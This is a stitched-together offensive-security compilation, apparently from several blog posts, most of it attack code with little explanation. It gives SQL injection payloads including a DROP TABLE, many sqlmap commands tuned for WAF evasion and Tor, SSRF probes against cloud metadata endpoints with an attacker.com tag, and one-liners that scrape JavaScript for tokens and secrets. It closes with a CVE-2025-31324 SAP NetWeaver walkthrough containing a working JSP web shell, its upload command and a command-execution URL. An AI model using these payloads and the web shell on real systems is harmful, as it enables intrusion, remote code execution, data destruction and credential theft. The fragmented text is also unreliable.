POST /api/user/details HTTP/1.1
Host: vulnerable.site
Content-Type: application/json

{
  "username": "admin"
}

{
  "username": "' OR '1'='1"
}

🤖Or blind time-based:

{
  "username": "' OR SLEEP(5)--"
}

curl -X POST https://vulnerable.site/api/user/details \
  -H "Content-Type: application/json" \
  -d '{"username": "' OR 1=1 --"}'

{
  "filter": {
    "email": "admin@site.com' OR '1'='1"
  }
}

Or nested objects:


{
  "user": {
    "id": "1'; DROP TABLE users;--"
  }
}

sqlmap -u https://vulnerable.site/api/login \
  --data '{"user":"admin","pass":"pass"}' \
--headers="Content-Type: application/json" \
  --level=5 --risk=3 --batch

Here’s a step-by-step guide to discovering and exploiting SSRF vulnerabilities:

<img src="http://attacker.com/payload"/>

These clues indicate whether the server is trying to make external requests.

http://invalid-url
http://example.local
http://127.0.0.1:9999

http://127.0.0.1:8000/admin

http://169.254.169.254/latest/meta-data

http://169.254.169.254/metadata/instance?api-version=2021-02-01

http://127%2E0%2E0%2E1

http://2130706433 (equals 127.0.0.1)

http://[::]

http://your-collaborator-url.com

sqlmap -u "http://target.com/page.php?id=1" \
--random-agent \
--tamper=space2comment,between,charunicodeescape \
--delay=2 --timeout=10 \
--retries=5 \
--threads=1 \
--technique=BEUSTQ \
--level=3 --risk=2

sqlmap -u "http://target.com/page.php?id=1" \
--random-agent \
--tamper=space2comment,charencode,unmagicquotes,versionedmorekeywords \
--level=5 --risk=3 \
--batch --threads=5 \
--technique=BEUSTQ

sqlmap -u "http://target.com/page.php?id=1" \
--random-agent \
--tamper=space2comment,modsecurityversioned,between \
--technique=T \
--time-sec=5 \
--level=5 --risk=3 \
--batch

sqlmap -u "http://target.com/page.php?id=1" \
--tamper=charunicodeescape,randomcase,space2comment,versionedkeywords \
--random-agent \
--level=5 --risk=3 \
--threads=1 --delay=1 \
--batch

sqlmap -u "http://target.com/login.php" \
--data="username=admin&password=1234" \
--method=POST \
--headers="X-Forwarded-For: 127.0.0.1" \
--random-agent \
--tamper=space2comment,charunicodeescape \
--level=5 --risk=3 \
--batch

sqlmap -u "http://target.com/page.php?id=1" \
--tor --tor-type=SOCKS5 --check-tor \
--random-agent \
--delay=2 --timeout=10 \
--tamper=space2comment,charunicodeescape,modsecurityversioned \
--batch

| Tamper Script | Description
| ---------------------- | -------------------------------------------
| `space2comment` | Replaces spaces with comments (`/**/`)
| `charunicodeescape` | Unicode-escapes payload characters
| `randomcase` | Randomizes keyword casing
| `between` | Obfuscates `WHERE` conditions
| `versionedkeywords` | Adds versioned comments before SQL keywords
| `equaltolike` | Replaces `=` with `LIKE`
| `unmagicquotes` | Bypasses magic quotes
| `modsecurityversioned` | Targets ModSecurity WAF bypass

# ~/.sqlmap_profile
--random-agent
--tamper=space2comment,charunicodeescape
--level=5
--risk=3
--threads=1
--delay=1
--timeout=10
--retries=3
--technique=BEUSTQ

sqlmap -u "http://target.com/page.php?id=1" @~/.sqlmap_profile

wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://target.com

grep -Ri "<!--" target.com         
# Developer comments
grep -Ri "api" target.com          
# API endpoints
python3 LinkFinder.py -i index.html -o cli

getJS --url https://target.com | xargs -I@ curl -s @ | grep -Ei 'apikey|token|secret'

Zero-Day Vulnerability CVE-2025-31324 in SAP NetWeaver Platform: A Critical Analysis 🔓💥

1. What is SAP NetWeaver? 🤔

2. How Attackers Find Vulnerable Systems

😣

http.title:"SAP NetWeaver Application Server"

3. Detailed Vulnerability Explanation 🧐

4. Impact and Attack Targets 🎯

j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root/

/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader

curl -k -X POST -F "file=@webshell.jsp" https://target-sap-server/metadatauploader

6. Technical Steps for Exploitation (For Study & Understanding Only) ⚠️

<% if (request.getParameter("cmd") != null) {
    String cmd = request.getParameter("cmd");
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.InputStream in = p.getInputStream();
    int a = -1;
    while((a=in.read())!=-1){
        out.print((char)a);
    }
    in.close();
} %>

curl -k -X POST \
 -F "file=@webshell.jsp" \
 https://target-sap-server/irj/servlet/prt/portal/prtroot/com.sap.visualcomposer.dev.server.metadatauploader

https://target-sap-server/irj/go/km/docs/webshell.jsp?cmd=whoami